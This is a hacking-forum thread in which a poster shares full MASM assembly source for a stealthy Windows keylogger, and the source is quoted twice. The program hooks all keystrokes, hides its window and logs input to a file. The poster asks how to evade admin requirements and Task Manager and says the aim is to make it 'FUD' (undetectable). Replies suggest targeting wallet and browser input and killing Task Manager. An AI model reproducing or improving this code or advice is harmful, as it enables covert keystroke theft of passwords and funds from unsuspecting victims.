# Pure assembly keylogger (1)
This is a keylogger I made a few month ago, the compiled size of the binary is only 5kb. it is made from pure assembly (MASM) and but there's some disadvantage for the program, and I'm seeking for sol

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Threaded Mode Pure assembly keylogger

KIARA
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#1
05-25-2023, 10:40 AM
This is a keylogger I made a few month ago, the compiled size of the binary is only 5kb.
it is made from pure assembly (MASM) and but there's some disadvantage for the program, and I'm seeking for solutions to improve it.
If you wanna test my code, linking the object file into "windows application" or "console application" and it should both work.
After you double click the linked executable, the program will operate in the background without creating any additional console or tabs,
and the only way to stop it is to call the Task Manager and kill the process name xlogger.
Here is the source code of my keylogger:
Code:
`.386
.model flat, stdcall
option casemap: none
include c:\masm32\include\kernel32.inc
include c:\masm32\include\windows.inc
include c:\masm32\include\user32.inc
include c:\masm32\include\msvcrt.inc
includelib c:\masm32\lib\kernel32.lib
includelib c:\masm32\lib\user32.lib
includelib c:\masm32\lib\msvcrt.lib
; prototype for C's printf
printf proto c, output:vararg
;prototype for sprintf
sprintf proto c, output:vararg
; prototype for low level keyboard proc callback function
KeyboardProc proto near stdcall, hook_code:DWORD, hook_wparam:DWORD, hook_lparam:DWORD
; prototype for stealth function to hide the console
Stealth proto near c
.data
window_handle dd 0 ; for console
file_handle dd 0 ; for logfile
vkcode dd 0
scancode dd 0
timestamp dd 0
keybuffer dd 0 ; for holding ToUnicodeEx buffer
success db "success",0
error db "error",0
window_title db "xlogger",0
classname db "ConsoleWindowClass",0
logfile_name db "log.txt",0 ; logfile for saving keystroke
catch_report db " %s (timestamp %d) ", 0
k_spacebar db "[space]", 0
k_enter db "[enter]", 0
k_backspace db "[backspace]", 0
k_rightshift db "[right-shift]", 0
k_tab db "[tab]", 0
k_caplock db "[caplock]", 0
k_leftshift db "[left-shift]", 0
k_ctrl db "[ctrl]", 0
k_windows db "[Win]", 0
k_esc db "[ese]", 0
k_del db "[del]", 0
k_f1 db "[f1]", 0
k_f2 db "[f2]", 0
k_f3 db "[f3]", 0
k_f4 db "[f4]", 0
k_f5 db "[f5]", 0
k_f6 db "[f6]", 0
k_f7 db "[f7]", 0
k_f8 db "[f8]", 0
k_f9 db "[f9]", 0
k_f10 db "[f10]", 0
k_f11 db "[f11]", 0
k_f12 db "[f12]", 0
k_prtscn db "[prtscn]", 0
k_home db "[home]", 0
k_end db "[end]", 0
k_pgup db "[pgup]", 0
k_pgdn db "[pgdn]", 0
msg MSG <>
keystate db 256 dup(0) ; for holding current 256 byte keyboard status array
reportformat db 50 dup(0)
resetbuffer db 50 dup(0) ; for reset reportformat buffer area to ovoid overflow
.code
; =============== self-defined procedure ==============
KeyboardProc PROC near stdcall, hook_code:DWORD, hook_wparam:DWORD, hook_lparam:DWORD ; hook keyboard callback
detr_process:
cmp hook_code, 0
jl goto_ex
cmp hook_wparam, WM_KEYDOWN ; only record WM_KEYDOWN to avoid multiple reocrd(KEYDOWN + KEYUP) of singular key press
jnz goto_ex ; record everything except ALT, ALT+KEY system key combinations
record_key: ; save keystroke to logfile
xor edx, edx
mov esi, [hook_lparam]
lodsd ; mov double(vkCode) from [hook_lparam] to eax
mov [vkcode], eax
lodsd ; get scancod
mov [scancode], eax
lodsd ; pass flag
lodsd ; get timestamp
mov [timestamp], eax
check_exception: ; special key which can't be translated by ToUnicodeEx
cmp [vkcode], 20h
jz spacekey
cmp [vkcode], 08h
jz backspacekey
cmp [vkcode], 0dh
jz enterkey
cmp [vkcode], 0a1h
jz rightshiftkey
cmp [vkcode], 09h
jz tabkey
cmp [vkcode], 14h
jz caplockkey
cmp [vkcode], 0a0h
jz leftshiftkey
cmp [vkcode], 0a2h
jz ctrlkey
cmp [vkcode], 5bh
jz windowskey
cmp [vkcode], 1bh
jz esckey
cmp [vkcode], 2eh
jz delkey
cmp [vkcode], 70h
jz f1key
cmp [vkcode], 71h
jz f2key
cmp [vkcode], 72h
jz f3key
cmp [vkcode], 73h
jz f4key
cmp [vkcode], 74h
jz f5key
cmp [vkcode], 75h
jz f6key
cmp [vkcode], 76h
jz f7key
cmp [vkcode], 77h
jz f8key
cmp [vkcode], 78h
jz f9key
cmp [vkcode], 79h
jz f10key
cmp [vkcode], 7ah
jz f11key
cmp [vkcode], 7bh
jz f12key
cmp [vkcode], 24h
jz homekey
cmp [vkcode], 2ch
jz prtscnkey
cmp [vkcode], 24h
jz homekey
cmp [vkcode], 23h
jz endkey
cmp [vkcode], 21h
jz pgupkey
cmp [vkcode], 22h
jz pgdnkey
translate: ; translate vkcode to readable char
invoke GetKeyboardState, addr keystate ; get current key state
invoke GetKeyboardLayout, 0 ; get HKL
invoke ToUnicodeEx, [vkcode], [scancode], addr keystate, addr keybuffer, 4, 0, eax
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr keybuffer, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 25, NULL, NULL
jmp goto_ex
spacekey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_spacebar, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
enterkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_enter, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
backspacekey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_backspace, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
rightshiftkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_rightshift, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
tabkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_tab, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
caplockkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_caplock, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
leftshiftkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_leftshift, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
ctrlkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_ctrl, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
windowskey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_windows, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
esckey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_esc, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
delkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_del, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f1key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f1, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f2key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f2, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f3key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f3, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f4key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f4, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f5key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f5, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f6key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f6, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f7key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f7, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f8key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f8, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f9key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f9, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f10key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f10, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f11key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f11, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
f12key:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_f12, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
prtscnkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_prtscn, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
homekey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_home, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
endkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_end, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
pgupkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_pgup, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
pgdnkey:
call Resetbuff
invoke sprintf, addr reportformat, addr catch_report, addr k_pgdn, [timestamp]
invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
jmp goto_ex
goto_ex: ; handle hc_noremove
invoke CallNextHookEx, NULL, hook_code, hook_wparam, hook_lparam
ret
KeyboardProc ENDP
Stealth PROC near c ; hide console
invoke ShowWindow, [window_handle], SW_HIDE ; hide
ret
Stealth ENDP
Resetbuff PROC near c
bakup:
pusha
cld
lea esi, resetbuffer
lea edi, reportformat
mov ecx, 50
rep movsb
finish:
popa
ret
Resetbuff ENDP
; ================================== main code ==============================
init: ; init some value before execution
invoke CreateFileA, addr logfile_name, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ; create or overwrite existing logfile
cmp eax, INVALID_HANDLE_VALUE
jz status_error
mov [file_handle], eax
invoke AllocConsole ; create a console for keylogger to locate
invoke FindWindowEx, NULL, NULL, addr classname, NULL ; locate current console created by program
test eax, eax ; check if locate fail
jz status_error
mov [window_handle], eax
invoke SetWindowTextA, [window_handle], addr window_title ; re-define windows text
hide: ; hide current window of executing program
call Stealth
main: ; main code of keylogger
invoke SetWindowsHookExA, WH_KEYBOARD_LL, ADDR KeyboardProc, NULL, 0
test eax, eax ; check if hook succeed
jz status_error
get_message: ; loop
invoke GetMessage, addr msg, NULL, 0, 0
cmp eax, 0
invoke TranslateMessage, addr msg
invoke DispatchMessage, addr msg
jg get_message
; exit program
status_success:
invoke MessageBoxA, NULL, addr success, addr success, MB_OK
jmp exit
status_error:
invoke MessageBoxA, NULL, addr error, addr error, MB_OK
exit:
ret
end init`
# currenly, I am seeking for solution on:
1. How to make it be executed without administrator privilege ?
Since it creates a log file on disk where the exe is triggered, it will require admin privilege in order to have the file created successfully,
how can I avoid this or any idea or alternative methods to solve it ?
2. How can I make the log file having a better format ? or maybe make the intercept data be more readable ?
This keylogger is quite simple and dumb cuz it only capable of deumping whatever the user is typing directly into a text fil along with the timestamp,
however parsing the log file is totally a pain in the ass, any ideas or suggestion for improvements on it ?
3. How can I make it more stealth ?
Currently, it only can hide the console and the created tab of the program,
how can I make it be hidden entirly even in the task manager.
4. Any additional suggestion on the improvement of the program ?
Any suggestion ?
Bad things comes to those who waits......
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MagicByte
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#2
05-25-2023, 10:48 AM
wow this is good stuff
1. try writing to user profile directory that you can retrieve by querying environment variables and it work with no admin.
2. only keylog when target apps are opened like wallets or browser
3. you need to hook into ntkernel for that or scan process list for taskmanager and spam kill it
4. dont write it in assembly too much work go for c
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bornLosing
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#3
05-25-2023, 12:53 PM

> KIARA Wrote: This is a keylogger I made a few month ago, the compiled size of the binary is only 5kb.
> it is made from pure assembly (MASM) and but there's some disadvantage for the program, and I'm seeking for solutions to improve it.
> If you wanna test my code, linking the object file into "windows application" or "console application" and it should both work.
> After you double click the linked executable, the program will operate in the background without creating any additional console or tabs,
> and the only way to stop it is to call the Task Manager and kill the process name xlogger.
> Here is the source code of my keylogger:
> Code:
> `.386
> .model flat, stdcall
> option casemap: none
> include c:\masm32\include\kernel32.inc
> include c:\masm32\include\windows.inc
> include c:\masm32\include\user32.inc
> include c:\masm32\include\msvcrt.inc
> includelib c:\masm32\lib\kernel32.lib
> includelib c:\masm32\lib\user32.lib
> includelib c:\masm32\lib\msvcrt.lib
> ; prototype for C's printf
> printf proto c, output:vararg
> ;prototype for sprintf
> sprintf proto c, output:vararg
> ; prototype for low level keyboard proc callback function
> KeyboardProc proto near stdcall, hook_code:DWORD, hook_wparam:DWORD, hook_lparam:DWORD
> ; prototype for stealth function to hide the console
> Stealth proto near c
> .data
> window_handle dd 0 ; for console
> file_handle dd 0 ; for logfile
> vkcode dd 0
> scancode dd 0
> timestamp dd 0
> keybuffer dd 0 ; for holding ToUnicodeEx buffer
> success db "success",0
> error db "error",0
> window_title db "xlogger",0
> classname db "ConsoleWindowClass",0
> logfile_name db "log.txt",0 ; logfile for saving keystroke
> catch_report db " %s (timestamp %d) ", 0
> k_spacebar db "[space]", 0
> k_enter db "[enter]", 0
> k_backspace db "[backspace]", 0
> k_rightshift db "[right-shift]", 0
> k_tab db "[tab]", 0
> k_caplock db "[caplock]", 0
> k_leftshift db "[left-shift]", 0
> k_ctrl db "[ctrl]", 0
> k_windows db "[Win]", 0
> k_esc db "[ese]", 0
> k_del db "[del]", 0
> k_f1 db "[f1]", 0
> k_f2 db "[f2]", 0
> k_f3 db "[f3]", 0
> k_f4 db "[f4]", 0
> k_f5 db "[f5]", 0
> k_f6 db "[f6]", 0
> k_f7 db "[f7]", 0
> k_f8 db "[f8]", 0
> k_f9 db "[f9]", 0
> k_f10 db "[f10]", 0
> k_f11 db "[f11]", 0
> k_f12 db "[f12]", 0
> k_prtscn db "[prtscn]", 0
> k_home db "[home]", 0
> k_end db "[end]", 0
> k_pgup db "[pgup]", 0
> k_pgdn db "[pgdn]", 0
> msg MSG <>
> keystate db 256 dup(0) ; for holding current 256 byte keyboard status array
> reportformat db 50 dup(0)
> resetbuffer db 50 dup(0) ; for reset reportformat buffer area to ovoid overflow
> .code
> ; =============== self-defined procedure ==============
> KeyboardProc PROC near stdcall, hook_code:DWORD, hook_wparam:DWORD, hook_lparam:DWORD ; hook keyboard callback
> detr_process:
> cmp hook_code, 0
> jl goto_ex
> cmp hook_wparam, WM_KEYDOWN ; only record WM_KEYDOWN to avoid multiple reocrd(KEYDOWN + KEYUP) of singular key press
> jnz goto_ex ; record everything except ALT, ALT+KEY system key combinations
> record_key: ; save keystroke to logfile
> xor edx, edx
> mov esi, [hook_lparam]
> lodsd ; mov double(vkCode) from [hook_lparam] to eax
> mov [vkcode], eax
> lodsd ; get scancod
> mov [scancode], eax
> lodsd ; pass flag
> lodsd ; get timestamp
> mov [timestamp], eax
> check_exception: ; special key which can't be translated by ToUnicodeEx
> cmp [vkcode], 20h
> jz spacekey
> cmp [vkcode], 08h
> jz backspacekey
> cmp [vkcode], 0dh
> jz enterkey
> cmp [vkcode], 0a1h
> jz rightshiftkey
> cmp [vkcode], 09h
> jz tabkey
> cmp [vkcode], 14h
> jz caplockkey
> cmp [vkcode], 0a0h
> jz leftshiftkey
> cmp [vkcode], 0a2h
> jz ctrlkey
> cmp [vkcode], 5bh
> jz windowskey
> cmp [vkcode], 1bh
> jz esckey
> cmp [vkcode], 2eh
> jz delkey
> cmp [vkcode], 70h
> jz f1key
> cmp [vkcode], 71h
> jz f2key
> cmp [vkcode], 72h
> jz f3key
> cmp [vkcode], 73h
> jz f4key
> cmp [vkcode], 74h
> jz f5key
> cmp [vkcode], 75h
> jz f6key
> cmp [vkcode], 76h
> jz f7key
> cmp [vkcode], 77h
> jz f8key
> cmp [vkcode], 78h
> jz f9key
> cmp [vkcode], 79h
> jz f10key
> cmp [vkcode], 7ah
> jz f11key
> cmp [vkcode], 7bh
> jz f12key
> cmp [vkcode], 24h
> jz homekey
> cmp [vkcode], 2ch
> jz prtscnkey
> cmp [vkcode], 24h
> jz homekey
> cmp [vkcode], 23h
> jz endkey
> cmp [vkcode], 21h
> jz pgupkey
> cmp [vkcode], 22h
> jz pgdnkey
> translate: ; translate vkcode to readable char
> invoke GetKeyboardState, addr keystate ; get current key state
> invoke GetKeyboardLayout, 0 ; get HKL
> invoke ToUnicodeEx, [vkcode], [scancode], addr keystate, addr keybuffer, 4, 0, eax
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr keybuffer, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 25, NULL, NULL
> jmp goto_ex
> spacekey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_spacebar, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> enterkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_enter, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> backspacekey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_backspace, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> rightshiftkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_rightshift, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> tabkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_tab, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> caplockkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_caplock, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> leftshiftkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_leftshift, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> ctrlkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_ctrl, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> windowskey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_windows, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> esckey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_esc, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> delkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_del, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f1key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f1, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f2key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f2, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f3key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f3, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f4key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f4, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f5key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f5, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f6key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f6, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f7key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f7, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f8key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f8, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f9key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f9, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f10key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f10, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f11key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f11, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> f12key:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_f12, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> prtscnkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_prtscn, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> homekey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_home, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> endkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_end, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> pgupkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_pgup, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> pgdnkey:
> call Resetbuff
> invoke sprintf, addr reportformat, addr catch_report, addr k_pgdn, [timestamp]
> invoke WriteFile, [file_handle], addr reportformat, 35, NULL, NULL
> jmp goto_ex
> goto_ex: ; handle hc_noremove
> invoke CallNextHookEx, NULL, hook_code, hook_wparam, hook_lparam
> ret
> KeyboardProc ENDP
> Stealth PROC near c ; hide console
> invoke ShowWindow, [window_handle], SW_HIDE ; hide
> ret
> Stealth ENDP
> Resetbuff PROC near c
> bakup:
> pusha
> cld
> lea esi, resetbuffer
> lea edi, reportformat
> mov ecx, 50
> rep movsb
> finish:
> popa
> ret
> Resetbuff ENDP
> ; ================================== main code ==============================
> init: ; init some value before execution
> invoke CreateFileA, addr logfile_name, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ; create or overwrite existing logfile
> cmp eax, INVALID_HANDLE_VALUE
> jz status_error
> mov [file_handle], eax
> invoke AllocConsole ; create a console for keylogger to locate
> invoke FindWindowEx, NULL, NULL, addr classname, NULL ; locate current console created by program
> test eax, eax ; check if locate fail
> jz status_error
> mov [window_handle], eax
> invoke SetWindowTextA, [window_handle], addr window_title ; re-define windows text
> hide: ; hide current window of executing program
> call Stealth
> main: ; main code of keylogger
> invoke SetWindowsHookExA, WH_KEYBOARD_LL, ADDR KeyboardProc, NULL, 0
> test eax, eax ; check if hook succeed
> jz status_error
> get_message: ; loop
> invoke GetMessage, addr msg, NULL, 0, 0
> cmp eax, 0
> invoke TranslateMessage, addr msg
> invoke DispatchMessage, addr msg
> jg get_message
> ; exit program
> status_success:
> invoke MessageBoxA, NULL, addr success, addr success, MB_OK
> jmp exit
> status_error:
> invoke MessageBoxA, NULL, addr error, addr error, MB_OK
> exit:
> ret
> end init`
> # currenly, I am seeking for solution on:
> 1. How to make it be executed without administrator privilege ?
> Since it creates a log file on disk where the exe is triggered, it will require admin privilege in order to have the file created successfully,
> how can I avoid this or any idea or alternative methods to solve it ?
> 2. How can I make the log file having a better format ? or maybe make the intercept data be more readable ?
> This keylogger is quite simple and dumb cuz it only capable of deumping whatever the user is typing directly into a text fil along with the timestamp,
> however parsing the log file is totally a pain in the ass, any ideas or suggestion for improvements on it ?
> 3. How can I make it more stealth ?
> Currently, it only can hide the console and the created tab of the program,
> how can I make it be hidden entirly even in the task manager.
> 4. Any additional suggestion on the improvement of the program ?
> Any suggestion ?

this is insane work dude, must've taken forever. any reason you chose assembly specifically?
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KIARA
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#4
05-25-2023, 05:26 PM

> MagicByte Wrote: wow this is good stuff
> 1. try writing to user profile directory that you can retrieve by querying environment variables and it work with no admin.
> 2. only keylog when target apps are opened like wallets or browser
> 3. you need to hook into ntkernel for that or scan process list for taskmanager and spam kill it
> 4. dont write it in assembly too much work go for c

Thanks for the advice, will try to implement it.

> bornLosing Wrote: this is insane work dude, must've taken forever. any reason you chose assembly specifically?

I code it in assembly just for making it to be FUD (and just for fun),
but not implementing some obfuscation or evasion techniques that might increasing the total binary size.
Bad things comes to those who waits......
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